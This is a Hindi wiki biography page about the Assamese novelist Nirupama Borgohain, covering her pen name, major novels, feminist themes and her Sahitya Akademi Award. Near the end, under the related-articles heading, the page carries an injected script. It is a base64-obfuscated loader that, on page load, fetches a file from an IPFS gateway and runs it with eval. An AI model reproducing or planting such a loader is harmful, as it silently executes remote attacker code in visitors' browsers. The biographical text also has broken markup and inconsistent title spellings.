निरुपमा बोरगोहेन

भारत डिस्कवरी प्रस्तुति
Revision as of 09:04, 5 October 2022 by रविन्द्र प्रसाद (talk | contribs) (''''निरुपमा बोरगोहेन''' (अंग्रेज़ी: ''Nirupama Borgohain'', 17 मार्च,...' के साथ नया पृष्ठ बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

निरुपमा बोरगोहेन (अंग्रेज़ी: Nirupama Borgohain, 17 मार्च, 1932) प्रसिद्ध भारतीय साहित्यकार हैं जो अपनी रचनाएँ असमिया भाषा में करते हैं। सन 1996 में चर्चित [उपन्यास]] 'अभिजात्री] के लिये इन्हें 'साहित्य अकादमी पुरस्कार' से सम्मानित किया गया था।

  • निरुपमा बोरगोहेन ने 'रामधेनु' पत्रिका में छद्म नाम 'नीलिमा देवी' के तहत लघु कथाएँ प्रकाशित करना शुरू किया था।
  • उनकी कुछ रचनाओं में 'अनेक अकास' (कई आसमान, 1961), 'जलाचाबी' (1966), 'सुन्यतर काव्य' (खालीपन की कविताएँ, 1969) मुख्य हैं।
  • इनका पहला उपन्यास 'सेई नाडी निरावधी' 1963 में प्रकाशित हुआ था।
  • निरुपमा बोरगोहेन के नारीवादी उपन्यास 'दीनोर पिसोट दिनोर' (1968), 'अन्या जीवन' (1986) और 'चंपावती' को दमनकारी सामाजिक रीति-रिवाजों और पितृसत्ता का सामना करने वाली महिलाओं के सहानुभूतिपूर्ण चित्रण के लिए जाना जाता था।
  • उपन्यास 'इपारोर घोर सिपारोर घोर' (1979) ने एक बेहतर जीवन की तलाश में ग्रामीण लोगों के शहरी क्षेत्रों में प्रवास को दर्शाया; कहानी को एक प्राकृतिक रूप में बताया गया था।
  • इनका 'अभियात्री' (1995) एक असमिया स्वतंत्रता सेनानी, नारीवादी और सामाजिक कार्यकर्ता, चंद्रप्रवा सैकियानी के जीवन का एक जीवनी उपन्यास था। इसने उन्हें 1996 में साहित्य अकादमी पुरस्कार दिलाया। यह उनके बेहतरीन उपन्यासों में से एक माना जाता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः